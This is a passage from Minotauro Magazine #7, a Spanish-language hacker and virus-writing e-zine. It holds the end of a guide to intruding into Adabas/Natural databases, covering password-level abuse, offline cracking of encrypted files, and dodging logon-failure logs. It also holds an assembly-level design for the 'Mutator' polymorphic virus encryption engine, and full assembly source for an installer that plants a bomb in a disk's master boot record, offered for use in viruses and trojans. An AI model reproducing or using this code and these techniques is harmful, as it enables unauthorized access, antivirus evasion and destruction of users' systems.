(administrador de la base de datos) haya establecido controles restringidos a
valores. Esto quiere decir que el sistema chequea uno o mas campos de un
registro para establecer si ten�s acceso para leer o escribir el registro. Si
no ten�s el nivel de acceso necesario para ese file tu acci�n se va a registrar
en el botonazo log. Al d�a siguiente el DBA revisa el log y quedas pegado hasta
las manos. Entonces, si quer�s ver el criterio de seguridad por valor de tu
password podes usar el comando:

ADASCR PPW CODE = dbacode, PW = password

Como ya te habras dado cuenta (eso espero) pod�s combinar este comando con el
anterior para elegir un password con el nivel suficiente como para modificar
los archivos que quieras toquetear. Si tue idea no es modificar archivos, sino
solamente espiar un poco los archivos m�s interesantes, tenes que tener claro
que es muy probable que los mas copados est�n encriptados. En Adabas es muy
f�cil encriptar archivos usando el par�metro ADAWAN y un c�digo de 8 caract�res
en el utilitario Compression. Tambi�n si andas con ganas de hacer guachadas le
podes encriptar algunos archivos al pobre man, pero no seas tan turro che !!
Si los archivos est�n encriptados, te recomiento que te copies los archivos y
los labures en tu casa. No es recomendable tratar de adivinar el c�digo
directamente sobre la m�quina hackeada, acordate de los logs, cada error que
cometas se va a registrar en el log. En cambio, con los files en tu casa podes
probar cientos de veces sin peligro. Hay muchos textos y utilitarios que te
pueden ayudar a adivinar el c�digo de 8 caracteres que necesitas para
desencriptar el archivo.

% Natural %

       Si quer�s chequear las opciones generales presiona "D" en el Men�
Principal, as� vas a llegar a los "Security Administrator Services". En esta
pantalla, y presionando "D" llegas a "Modify General Options" que te muestra
las opciones generales de seguridad. Podes chequear la estructura de seguridad
(grupos y miembros) presionando "D" e ingresando luego la identificaci�n de
usuario en el "User Maintenance Menu". As� vas a poder ver todos los grupos a
los que pertenece este usuario, adem�s de mas informaci�n sobre cada grupo. Si
quer�s ver la seguridad de cada aplicaci�n ten�s que presionar "D" y la
identificaci�n de aplicaci�n en el "Application Maintenance Menu". Si quer�s
ver un n�mero m�s grande de definiciones de seguridad de aplicaciones podes
usar la funci�n "MASS FUNCTION", que te va a mostrar una lista de todas las
aplicaciones que fueron definidas en la seguridad del Natural por orden
alfab�tico por identificaci�n de aplicaci�n. Para usar esta posibilidad, lo
�nico que ten�s que hacer es presionar "Q" en el "Application Maintenance
Menu". Esto es muy importante, porque en Natural la seguridad de los datos
est� asociada con la seguridad de las aplicaciones que acceden a esos archivos.
Si usas la opci�n "Select File" (presionando "S") en el "File Maintenance Menu"
vas a ver el estado de cada archivo. Sin dudas los archivos "PRIV" van a ser
los m�s interesantes, pero tambi�n deber�as pegarle un vistazo a los "PUBL",
porque en un ambiente mal controlado pod�s encontrar informaci�n confidencial
tambi�n en este tipo de archivo. Todas las posibilidades que expliqu� antes las
podes usar (aunque de solo lectura) usando "Retrieval" en el Menu Principal.
Atenci�n, si corres una aplicaci�n que tenga la opci�n "LOG" en "Y", la
seguridad del Natural va a escribir un registro en archivo de log. Yo te
recomendar�a pegarle un vistazo a los registros de log para chequear si tus
actividades fueron registradas. Podes verlos usando la funci�n "Logon Records
Processing". En el Menu Principal tenes que presionar "D" para llegar a los
servicios del administrador de seguridad y despu�s "L" para ver los archivos de
log. El administrador de la base puede setear un n�mero m�ximo de intentos de
logon. Y si realizas un n�mero m�s grande de intentos que el establecido por el
DBA, el sistema va a generar un registro en el archivo de log. Siempre tendr�as
que tratar de pasar inadvertido en el sistema. Entonces, por ejemplo, si ten�s
un password y est�s dentro del sistema y conseguiste otra password con m�s
nivel, pero que no es segura, yo te recomendar�a antes de empezar a probarla
chequear cual es el n�mero m�ximo de intentos de logon que est�n permitidos.
Si el n�mero m�ximo es seis, podes probar tu password dudosa cinco veces y no
se van a crear registros de error en el archivo de log. Si estas en el sistema
y quer�s ver el registro de errores de logon para ver si hay mas gente tratando
de hackear el sistema (eso puede ser peligroso porque si hay muchos hackers
rondando por el sistema es probable que alguno se mande una cagada y todos
queden pegados), o si simplemente quer�s ver cuan pelotuda es la gente :),
podes hacer lo siguiente. Presiona "D" en el Menu Principal para acceder a los
servicios del Administrador de seguridad y despu�s presiona "E" para ver los
registros de errores de logon. Esto es importante, si nos damos cuenta que en
el sistema este tipo de errores es cont�nuo y repetido, es una se�al clara que
el sistema esta mal controlado y el Administrador de Sistema no le da bola a
los archivos de log. Entonces no habr� problemas en probar un n�mero m�s grande
de logons incorrectos. Como en el Natural puede haber mas de un administrador,
el Natural da la posibilidad de usar contrafirmas (countersignatures) para
controlar la seguridad. En criollo esto quiere decir que para cambiar una
definici�n de seguridad pueden ser necesarias 0, 1, 2 o 3 confirmaciones
(countersignatures) de los otros administradores definidos. Entonces tenes que
tener claro que si conseguis privilegios de administrador todav�a no ten�s el
control absoluto del sistema (si es que hay otros administradores definidos y
fue establecido un sistema de contrafirmas). Entonces, antes de intentar hacer
cualquier cambio, deber�as verificar si hay definidos otros administradores y
si se han establecido contrafirmas. Te puedo asegurar que es realmente molesto
"trabajar" en una m�quina que tenga establecidas contrafirmas, pero no te
calentes mucho porque la mayor�a de los ambientes Natural solo tienen un
administrador.

Espero que esta informaci�n que fue muy �til para mi, tambien pueda ser �til
para ustedes..

                                   Mantis King  [NO DAN] :)
Minotauro Magazine #7:
                         MUTATOR 1.0 (Segunda parte)
                               Por Lapidario

LA HISTORIA CONTINUA ...

       Dediquemos ahora la atencion a formar el encriptor. Esto debemos
realizarlo antes de generar el desencriptor, pues nos basamos en que armaremos
el mismo en funcion de que instrucciones usemos para encriptar. Como vimos
definimos por decreto que aplicaremos las operaciones de encriptacion a BYTES.
Y como no nos interesa que sea variable siempre utilizamos los mismos registros
de puntero y contador. De las intrucciones que definimos anteriormente algunas
nesecitaran un valor aleatorio (lo llamamos XX). De la misma manera que se hizo
con las intrucciones ppi los codigos de operacion de las instrucciones para
encriptar y las de desencriptar iran en sendos vectores.
Como separador usamos el valor 01.
Por default yy suponemos que es AL para llenar el vector.
Por default XX pondremos AAh.

Encriptar:                              Desencriptar:

add al,XXh ............................. sub yy,XXh
sub al,XXh ............................. add yy,XXh
xor al,XXh ............................. xor yy,XXh
ror al ................................. rol yy
rol al ................................. ror yy
inc al ................................. dec yy
dec al ................................. inc yy
not al ................................. not yy

ins_enc db 04h,0aah,01h,2ch,0aah,01h,34h,0aah,01h,0d0h,0c8h,01h,0d0h
       db 0c0h,01h,0feh,0c0h,01h,0feh,0c8h,01h,0f6h,0d0h,01h ;8

des_enc db 02ch,0aah,01h,04h,0aah,01h,34h,0aah,01h,0d0h,0c0h,01h,0d0h
       db 0c8h,01h,0feh,0c8h,01h,0feh,0c0h,01h,0f6h,0d0h,01h ;8

Para variar el parametro XX, simplente cada vez que se llama a la rutina
mutator esta llamara a la rutina cambiaxx que se encarga con simples MOV de
adecuar estos valores segun un numero aleatorio. Luego nos ocuparemos de
los yy.

Bien ahora debemos saber cuantas instrucciones usamos para encriptar y cuales
de ellas. Cuantas es facil (0 a 8) ...
Cuales se usan, se eligen al azar ... (1 a 8)

De esto se encarga una subrutina llamada decoderrut, que realiza las siguientes
funciones:

La maxima cantidad de instrucciones a usar en el encriptador esta definida en
la EQU llamada cu_ins_cod. Como vimos el balor maximo es 8.

Arma dos vectores con la siguiente forma:

VECTOR 1:

1) elemento : cantidad de instrucciones (como maximo puede ser 8)
2) elemento : 1 instruccion con la que se encriptar
3) elemento : 2 instruccion con la que se encriptar
etc ...

Por lo tanto este vector puede tener como maximo 17 Bytes. A este vector lo
llamamos crip_code:

crip_code db 17 dup (0)

VECTOR 2:

1) elemento : cantidad de instrucciones (como maximo puede ser 8)
2) elemento : 1 instruccion con la que se desencripta
3) elemento : 2 instruccion con la que se desencripta
etc ...

Por lo tanto este vector puede tener como maximo 17 Bytes. A este vector lo
llamamos descrip_code:

descrip_code db 17 dup (0)

Supongase que el primer vector contenga las siguientes instrucciones en este
orden ...

add....not....inc....sub

El segundo debera terminar teniendo este orden para una desencripcion
coherente ...

add....dec....not.....sub

Una descripcion por pasos de lo que realiza la subrutina decoderrut es la
siguiente:

0) Inicializa los vectores crip_code y descrip_code con cero.
1) Genera un numero aleatorio rand0 comprendido en el rango de (0 y cu_ins_cod)
2) Alamacena el susodicho numero en crip_code y descrip_code.
3) Es rand0 igual a cero ? Si es asi termina.
4) Inicializa un bucle desde rand0 hasta cero realizando las siguientes tareas:
4.1) Genera un numero aleatorio rand2 en rango (1-8).
4.2) Busca la instruccion numero rand2 en el vector ins_enc.
4.3) Traslada esa instruccion a el vector crip_code.
4.4) Busca la instruccion numero rand2 en el vector des_enc.
4.5) Traslada esa instruccion a el vector descrip_code.
5) Invierte las instrucciones del vector descrip_code.

Supongamos ahora que con la informacion que tenemos en el vector 2 podemos
formar el desencriptor. Entonces damos por sentado que la copia imagen del
virus se encuentra en las condiciones que indica el siguiente grafico.

original_ES:original_DI:..........
                       ..........
                       desencriptor
                       y instrucciones
                       PPI.
                       ....<------------ins_counterx

En el offset ins_counterx debemos poner la copia encriptada segun la rutina de
encriptacion genera. Esto lo hacemos de la siguiente manera:
La rutina mutator posee un encriptador generico de la siguiente forma:

ge_encrip    proc near
            pusha
            push es
            push ds

;llenar 16 nop apartir del offset todosnop
;copiar tantos word como contenga [crip_code] a el offset todosnop
;fuente de word empieza en el offset crip_code + 1.

            mov cx,DS:[BX+original_cx]
            mov di,DS:[BX+original_di]
            mov ax,DS:[seg_base+BX]
            mov es,ax
            mov ax,DS:[ins_counterx+BX]
            mov si,ax
            mov ax,DS:[BX+original_ds]
            mov ds,ax
lazo897:     mov al,ds:[di]
todosnop:    ...instrucciones.....(al comienzo 16d nop)
            mov ES:[si],ax
            inc di
            inc si
            inc cs:[ins_counterx+BX]
            dec cx
            jnz lazo897
            pop es
            pop ds
            popa
            ret

Como obserbamos en el offset todosnop originalmente se encuentran 16
instrucciones NOP. Estos NOP son repuestos cada vez que se llama a la rutina.
Bien si ahora trasladamos del vector1 llamado crip_code tantos bytes como
indique el primer elemento del vector por 2 a el offset todosnop. Si ejecutamos
la rutina ge_encrip habremos trasladado el codigo original encriptado a partir
del offset ins_counterx. Solo basta calcular la longitud final del codigo
imagen y devolverselo en cx a el programa que llamo a la mutator.

Bien, llego el momento de armar el desencriptor. Como dato tenemos el vector
descrip_code, cuyo primer elemento nos dice cuantas instrucciones hay que
poner. Miremos unos detalles ...
Segun cual sea el registro a utilizar la instruccion tiene 2 o 3 bytes de
longitud. Por lo tanto formaremos otro vector con esta tabla de opcodes.
A este vector lo llamamos tabla_dat. La rutina cambiaxx tambien se encarga de
reemplazar los ffh por el valor adecuado (este valor no puede ser 01h).

tabla_dat:
db                      0F6h,0D0h;              not al
db                      0F6h,0D1h;              not cl
db                      0F6h,0D2h;              not dl
db                      0F6h,0D3h;              not bl
db                      0F6h,0D4h;              not ah
db                      0F6h,0D5h;              not ch
db                      0F6h,0D6h;              not dh
db                      0F6h,0D7h;              not bh
db                      0FEh,0C0h;              inc al
db                      0FEh,0C1h;              inc cl
db                      0FEh,0C2h;              inc dl
db                      0FEh,0C3h;              inc bl
db                      0FEh,0C4h;              inc ah
db                      0FEh,0C5h;              inc ch
db                      0FEh,0C6h;              inc dh
db                      0FEh,0C7h;              inc bh
db                      0FEh,0C8h;              dec al
db                      0FEh,0C9h;              dec cl
db                      0FEh,0CAh;              dec dl
db                      0FEh,0CBh;              dec bl
db       0FEh,0CCh;                                  dec ah
db       0FEh,0CDh;                                  dec ch
db       0FEh,0CEh;                                  dec dh
db       0FEh,0CFh;                                  dec bh
db       0D0h,0C8h;                                  ror al,1
db       0D0h,0C9h;                                  ror cl,1
db       0D0h,0CAh;                                  ror dl,1
db       0D0h,0CBh;                                  ror bl,1
db       0D0h,0CCh;                                  ror ah,1
db       0D0h,0CDh;                                  ror ch,1
db       0D0h,0CEh;                                  ror dh,1
db       0D0h,0CFh;                                  ror bh,1
db       0D0h,0C0h;                                  rol al,1
db       0D0h,0C1h;                                  rol cl,1
db       0D0h,0C2h;                                  rol dl,1
db       0D0h,0C3h;                                  rol bl,1
db       0D0h,0C4h;                                  rol ah,1
db       0D0h,0C5h;                                  rol ch,1
db       0D0h,0C6h;                                  rol dh,1
db       0D0h,0C7h;                                  rol bh,1
entrada1:
db       04h,0FFh;                                   add al,0ffh
db       80h,0C1h,0FFh  ;                            add cl,0ffh
db       80h,0C2h,0FFh  ;                            add dl,0ffh
db       80h,0C3h,0FFh  ;                            add bl,0ffh
db       80h,0C4h,0FFh  ;                            add ah,0ffh
db       80h,0C5h,0FFh  ;                            add ch,0ffh
db       80h,0C6h,0FFh  ;                            add dh,0ffh
db       80h,0C7h,0FFh  ;                            add bh,0ffh
db       2Ch,0FFh       ;                            sub al,0ffh
db       80h,0E9h,0FFh  ;                            sub cl,0ffh
db       80h,0EAh,0FFh  ;                            sub dl,0ffh
db       80h,0EBh,0FFh  ;                            sub bl,0ffh
db       80h,0ECh,0FFh  ;                            sub ah,0ffh
db       80h,0EDh,0FFh  ;                            sub ch,0ffh
db       80h,0EEh,0FFh  ;                            sub dh,0ffh
db       80h,0EFh,0FFh  ;                            sub bh,0ffh
db       34h,0FFh       ;                            xor al,0ffh
db       80h,0F1h,0FFh  ;                            xor cl,0ffh
db       80h,0F2h,0FFh  ;                            xor dl,0ffh
db       80h,0F3h,0FFh  ;                            xor bl,0ffh
db       80h,0F4h,0FFh  ;                            xor ah,0ffh
db       80h,0F5h,0FFh  ;                            xor ch,0ffh
db       80h,0F6h,0FFh  ;                            xor dh,0ffh
db       80h,0F7h,0FFh  ;                            xor bh,0ffh


Bien en el primer byte del vector descrip_code tenemos cuantas instrucciones
efectivas conforman nuestro desencriptor. Nuestro objetivo consiste en formar
un nuevo vector llamado efect_code que poseea la siguiente estructura:
1 instruccion registro permutado
separador 01
2 instruccion registro permutado
sepadoror 01
enesima instruccion registro permutado
separador 01
La idea es generar un numero de rango 0 a 7, este sera el numero llave para
elegir cual registro usamos y lo guardamos en keyreg. Es necesario guardarlo
pues luego lo nesesitaremos. Haremos una rutina que lea los dos bytes de el
vector descrip_code de la instruccion x usada para desencriptar y busque en
el vector tabla_dat el comienzo de la direccion de acierto de comparacion. De
ordinario si la instrucion x era add al,0ffh el puntero se detendra en en el
offset que indica el comienzo de la intruccion add al, 0ffh del vector
tabla_dat. Pues si ahora a este offset le sumamos el numero aleatorio por 3 -1
si el contenido de ese offset es distinto a f6 o fe o d0, o el numero aleatorio
por 2 en caso contrario, obtendremos el offset donde empieza la instruccion con
registro permutado.

Entonces :
Si el contenido del nuevo offset es 80h traslada 3 bytes, desde el vector
tabla_dat a el vector efect_code, sino solo dos. Luego insertamos el separador
01. Repetimos el proceso como instrucciones contenga el vector descrip_code.
Se desprende que la longitud maxima del vector efect_code sera 3*8+8=32 bytes.
Esta tarea la realiza la rutina permutareg.

Ahora con el vector efect_code y la variable keyreg estamos en condiciones de
formar el desencriptor. Al igual que con el encriptor partimos de un codigo
base el cual modificaremos segun la nesecidad y luego lo copiamos al comienzo
del viri imagagen.

Para el desencriptor debemos elegir cual registro usaremos para realizar el
calculo del offset delta. Podra ser BX, DI, SI o BP. La restriccion es que si
bl o bh fue usado para formar las intrucciones con registro permutado no lo
podremos usar. Por ese motivo guardamos el dato en keyreg. Otro cuestion es
que segun cual registro usemos habra que tener en cuenta cual es el segmento
base a utilizar.

Si se usa DI, SI o BX    segmento base es DS.
Si se usa BP             segmento base es SS.

Una solucion seria poner en las intrucciones de carga o descarga a o desde
memoria (que en la rutina de desencriptacion son 2) como prefijo de segmento
a CS.

Otra forma seria que segun cual fue el registro usado hacer que mientras se
ejecuta la rutina de desencriptacion el segmento base requerido tenga el valor
adecuado.

ejemplo se usa BP.

push ss
push cs
pop  ss
..
..
..
pop ss


se usa otro DI o DX o SI .(genericamente gg)

push gg
push cs
pop  gg
..
..
..
pop gg

Como no me gusta poner el prefijo de CS: Usaremos el segundo metodo.

NOTA: (xlsbi=x bits menos significativos)

Tambien debemos elegir cual registro usaremos como counter. Le cabe la mismas
consideraciones habladas antes, podra ser cualquiera. Mientras no concuerde con
el usado en regkey y el BX si este fue usado en el calculo del offset beta.

Supongamos que usamos el siguiente desencriptador generico:

p1:                  push gg
db         01h
p2:                  push cs
db         01h
p3:                  pop  gg
db         01h
p4:                  call 0000
db         01h
p5:                  pop jj
db         01h
p6:                  add jj,zzzz
db         01h
p7:                  mov counter,cccc
db         01h
p8:                  mov yy,[jj]
db         01h
p9:                  mov [jj],yy
db         01h
p10:                 inc jj
db         01h
p11:                 dec counter
p12:                 jnz p8
db         01h
p13:                 pop gg
db         01h

Este desencriptador lo variaremos segun corresponda teniendo en cuenta lo
siguiente:

En keyreg tenemos: al,ah,cl,ch,bl,bh,dl,dh  0 a 7.

genero jj y lo guardo en keyjj rango 3 a 7 excluido 04.
jj; DI,SI,BP  y si keyreg <> a 3 o 7 tambien puede ser BX.

                           pop jj

jj=03 entonces bx     opcode      5B
jj=05 entonces bp     opcode      5D
jj=06 entonces si     opcode      5E
jj=07 entonces di     opcode      5F

Estructura del pop jj.

   0101 1(3lsbi de keyjj)

entonces la instruccion inc jj

jj=03 entonces bx     inc bx      opcode 43
jj=05 entonces bp     inc bp      opcode 45
jj=06 entonces si     inc si      opcode 46
jj=07 entonces di     inc di      opcode 47

Estructura del inc jj

   0100 (4lsbit de keyjj)

gg; DS o SS  si jj igual a 06 o 07 (di o si) entonces gg=ds

            push ds       opcode    1e
            pop  ds       opcode    1f

            si jj = 05 (bp)           entonces gg=ss

            push ss       opcode    16
            pop ss        opcode    17

la instruccion add jj,zzzz

add bx,zzzz           81 c3 zz zz
add bp,zzzz           81 c5 zz zz
add si,zzzz           81 c6 zz zz
add di,zzzz           81 c7 zz zz

Estructura del add jj,zzzz

       10000001 | 1100(4lsbi de keyjj) | zz | zz

genero counter y lo guardo en keycounter  rango 0-3

keyjj = 03 (BX) keycounter no puede ser 03 (BX).

si keyreg = 00 (al) o 04 (ah) keycounter no puede ser 00 (AX)
si keyreg = 01 (cl) o 05 (ch) keycounter no puede ser 01 (CX)
si keyreg = 02 (dl) o 06 (dh) keycounter no puede ser 02 (DX)
si keyreg = 03 (bl) o 07 (bh) keycounter no puede ser 03 (BX)

keycounter =  00  ax
keycounter =  01  cx
keycounter =  02  dx
keycounter =  03  bx

entonces la instruccion dec counter

keycounter =  00  ax   dec ax         opcode 48
keycounter =  01  cx   dec cx         opcode 49
keycounter =  02  dx   dec dx         opcode 4a
keycounter =  03  bx   dec bx         opcode 4b

Estructura del dec counter:


  10001(3lsbi de key keycounter)


entonces la instruccion mov counter,cccc

keycounter =  00  ax   mov ax,cccc         opcode b8 cc cc
keycounter =  01  cx   mov cx,cccc         opcode b9 cc cc
keycounter =  02  dx   mov dx,cccc         opcode ba cc cc
keycounter =  03  bx   mov bx,cccc         opcode bb cc cc

Estructura del mov counter,cccc

      10111(3lsbi de keycounter) | cc | cc

genero yy rango 0-7 y lo guardo en keyyy
yy no puede ser igual a keycounter o a keycounter+4.
y ademas no puede ser igual keyreg.

keyyy=00 entonces al
keyyy=01 entonces cl
keyyy=02 entonces dl
keyyy=03 entonces bl
keyyy=04 entonces ah
keyyy=05 entonces ch
keyyy=06 entonces dh
keyyy=07 entonces bh


Este numero afecta a las intrucciones mov yy,[jj] y mov [jj],yy
Hay aproximadamente a simple vista 28 convinaciones.
Veamos la estructura.

100010dw mod reg r/m

d=1     a reg.  caso mov yy,[jj]
d=0 desde reg.  caso mov [jj],yy

w=0  byte instruccion     nuestro caso.

mod = 00 entonces r/m indica como debe entenderse r/m. nuestro caso.

r/m = 100 entonces EA (SI)+disp
r/m = 101 entonces EA (DI)+disp
r/m = 110 entonces EA (BP)+disp (1)
r/m = 111 entonces EA (BX)+disp

EA= direccion efectiva.
disp=desplazamiento.

Observese dos cosas.
1) la unica diferencia entre mov yy,[jj] y mov [jj],yy es un bit.
2) Como disp es siempre cero la instrucion ocupa 2 bytes ,pero
  si jj es bp ocupa 3 pues el desplazamiento 0 no se puede obviar.

Para solucionar esto podriamos poner siempre un dezplazamiento
aleatorio y tenerlo en cuenta cuando hacemos el add jj,zzzz
Para hacer esto mod debe ser 01.
Al desplazamiento lo llamamos qq , tiene un rango (0-127)
y lo guardamos en keyqq.

Veamos como se forman los tres bytes.

mov yy,[jj]

10001010 | 01(3lsbi de keyyy)1(2lsbi de magia) | [keyqq]

mov [jj],yy

10001000 | 01(3lsbi de keyyy)1(2lsbi de magia) | [keyqq]

Segun sea keyjj por comparacion allamos el r/m necesario y
armamos la instruccion.

La rutina generakey genera los valores adecuados de
keyjj,keycounter,keyyy,keyqq , teniendo en cuenta las restricciones
pertinentes en cada caso.

Con todo esto estamos en condiciones de ajustar la rutina de
desencriptacion generica.

La rutina trasscod ajusta a la rutina de  desencriptacion generica ,
con los valores allados por la rutina generakey.

Luego iremos copiando instruccion por instruccion a la direccion
original dada por ES:DI intercalando intrucciones PPI.
Al hacer esto memorizaremos algunos offset para luego poner
el valor adecuado.

OFFSET a memorizar.

a) donde queda p4     ; para ajustar  zzzz
b) donde queda p6     ; para ajustar  zzzz
c) donde queda p7     ; para ajustar  cccc
d) donde queda p8     ; para calcular el salto de jnz
d) donde queda p12    ;  "      "      "      "

Esto lo realiza la rutina copiar.
Una vez realizado esto llamamos a la rutina de encriptacion,y luego
calculamos la longitud final para devolverlo en cx.

Bien con esto terminamos la explicacion de el polimorfico.
Espero que se halla entendido.
Dudas, consultas, reportes de bug o insultos al BBS.

PLANTEANDO INQUIETUDES:

SERIA SENCILLO HACER UN PROGRAMA QUE IDENTIFIQUE SI UN DADO ARCHIVO TIENE
UNA ALTA POSIBILIDAD DE ESTAR USANDO EL POLIMORFISMO  DE LA MUTATOR?

Bien yo digo que si, es relativamente sencillo, debido (no es condicion
nesesaria pero si facilita el tener que desensamblar) a que tienen el fuente
y saben cual es el desencriptor generico. Solo hay que separar trigo de la
paja y pensar un poquito ...

SE PUEDE CALCULAR DE CUANTAS FORMAS ES POSIBLE MUTAR EL CODIGO ENCRIPTADO?

Bien yo digo que si, es mas ... afirmo que es posible con el algoritmo adecuado
desencriptar el codigo encriptado ... En esta mutacion es relativamente facil
ya que lo unico que hay que saber es que pueden ser x de 8 instrucciones
univocas para encriptar (8>x>0) ... asi que ... correlacionando y esas yerbas.

ES POSIBLE QUE EN UNA MUTACION TERMINE SIN ENCRIPTAR EL CODIGO?

Si puede darse el caso que la combinacion de instrucciones usadas para
encriptar en realidad terminen NO encriptando.

ES POSIBLE DEDUCIR CUANTAS DE TODAS LAS POSIBLES CUMPLEN LA PREGUNTA ANTERIOR?

Si es posible saberlo. Si alguien quiere discutir algun punto (antivirus
programer, GISVI, Bonsembiante, Ludwing etc etc etc ... y otros) puede hacerlo.

Lapidario [DAN]
Minotauro Magazine #7:
                          Bombas de Master Boot Record
                                Por Zarathustra

% La Teoria %

       En este articulo se explica como poner una bomba en la tabla de
particion o MBR (Master Boot Record). Este es un buen lugar ya que sobrevive
a un format... de esta manera si un virus pone una bomba en el MBR y el
usuario lo descubre y formatea el disco (practica comun en las casas de
computacion ;-), la bomba sigue alli... de esta menera le damos la satifaccion
al usuario de volver a formatear su disco pero si su ayuda ;-)

       Primero, el MBR esta en el sector 1, lado 0, cilindro 0, los ultimos
66 bytes contienen informacion acerca de la particion y no deven ser tocados,
el MBR despues de ejecutarse ejecuta el boot. Una forma de poner una bomba ahi
es remplazar el MBR por la bomba y que la bomba se encarge de ejecutar el boot
despues. Otra forma es mover el MBR original a otro sector (como el 4) y poner
la bomba en su lugar, esta despues de ejecutarse, lee el sector 4 y lo ejecuta.
Este metodo es muy fiable y no da ninguna alarma con el chequeador del TB,
siempre que la bomba no deje nada resindente. Tambien puede desensamblarse una
TP y agregarle la bomba en su codigo... No importa como se haga, siempre que se
reemplaze el codigo de la TP hay que dejar intactos los 66 ultimos bytes.

       Una aclaracion con respecto al inmunizador del TB, este hace un CRC
del BOOT y no del MBR, por lo tanto no puede delatar a la bomba, y si no se
deja codigo residente los 2 chequeos restantes tampoco detectan nada. De todos
modos lo normal en una bomba de MBR es que solo chequee una condicion y se
ejecute o no, sin dejar codigo residente, ademas son muy simples de eludir los
chequeos de memoria e int 13h

% El Ejemplo %

       El programa que sigue lee el MBR en un buffer de memoria y luego copia
sobre este la bomba, y luego lo escribe en el sector 1, lado 0, cilindro 0 y
termina.. es solo un instalador y puede modificarse facilmente para usarse en
un virus, ademas de considerar las variables solo hay que remplazar los +100h
por +BP. La bomba en si, al ejecutarse resta un 1k de la cantidad total de
memoria que esta en en segmento 0 offset 413h, calcula el bloque de memoria
al que se copiara y se copia entero ahi... luego de eso, salta para continuar
ejecutandose en el nuevo bloque. Entonces lee el boot, vuelve a sumar 1k, que
habia restado de memoria y ejecuta el boot... La memoria es reservada
unicamente para copiar la bomba a otro bloque y poder ejecutar el boot que
se tiene que cargar en la misma direccion que el MBR, y despues liberada
porque la bomba no deja nada residente, la idea es que chequee una condicion
y actue, o bootee normalmente.

       Bien, pueden usar esto en un virus o instalar la bomba con su
instalador en un file, para que el troyano instale la bomba o incluso como
metodo de seguridad, recuerden que el MBR es el primer programa que se
ejecuta, o sea que tienen el control antes que el mismo DOS.

NOTA: el codigo que sigue puede optimisarse, pero de esta manera me parecio
mas claro para el principiante. Ademas con una peque�a modificacion puede
quedar residente.

286
code    segment
       ASSUME CS:CODE,DS:CODE,SS:CODE
       org   0h

my_len          equ buffer - offset newboot
long_vir        equ newboot -  offset instalador

instalador:
       mov ax,0201h                            ;Leo el MBR del en buffer.
       mov cx,0001h                            ;
       mov dx, 80h                             ;
       lea bx, buffer+100h                     ;
       int 13h

       lea di, buffer+100h                     ;sobreescribo boot
       lea si, newboot+100h                    ;con mi rutina en memoria.
       mov cx,my_len
       rep movsb

       mov ax,0301h                            ;Copio la bomba al sector
       mov cx,0001h                            ;1 lado 0 siindro 0.
       lea bx, buffer+100h
       int 13h

fin:
       mov ah, 4ch                             ;Sale.
       int 21h


;==============================================================================
;                               BOMBA
;==============================================================================
newboot:
       cli
       xor ax,ax
       mov ds,ax
       mov si,07c00h
       mov ss,ax
       mov sp,si

       mov ax, word ptr ds:[0413h]             ;Decremento la cantidad de
       dec ax                                  ;memoria, dejando el dato
       mov word ptr ds:[0413h], ax             ;en AX.

       mov cl,6
       shl ax,cl                                ;Calculo ennuevo bloque de
                                                ;memoria.

       xor di,di                                ;me copio a ese bloque.
       mov es,ax
       mov cx,my_len
       rep movsb

       push es
       mov ax, offset memoria - long_vir       ;Salta al nuevo
       push ax                                 ;bloque.
       retf

memoria:
       sti
       mov ax,0201h                            ;leo el boot (sector 1,
       mov cx,0001h                            ;cilindro 0, lado  1), en
       xor dx, dx                              ;el segmento 0 offset 7c00h.
       mov es,dx
       mov dx, 0180h
       mov bx,07c00h
       int 13h

       add word ptr ds:[0413h], 1              ;Restaura la cantidad de
                                               ;memoria.

       push 0000                               ;Ejecuto el boot
       push 7c00h
       retf

       db 'Demostracion de bombas de MBR, para Minotauro Magazine'
       db 'By Zarathustra [DAN]'

buffer:

code    ends
end     instalador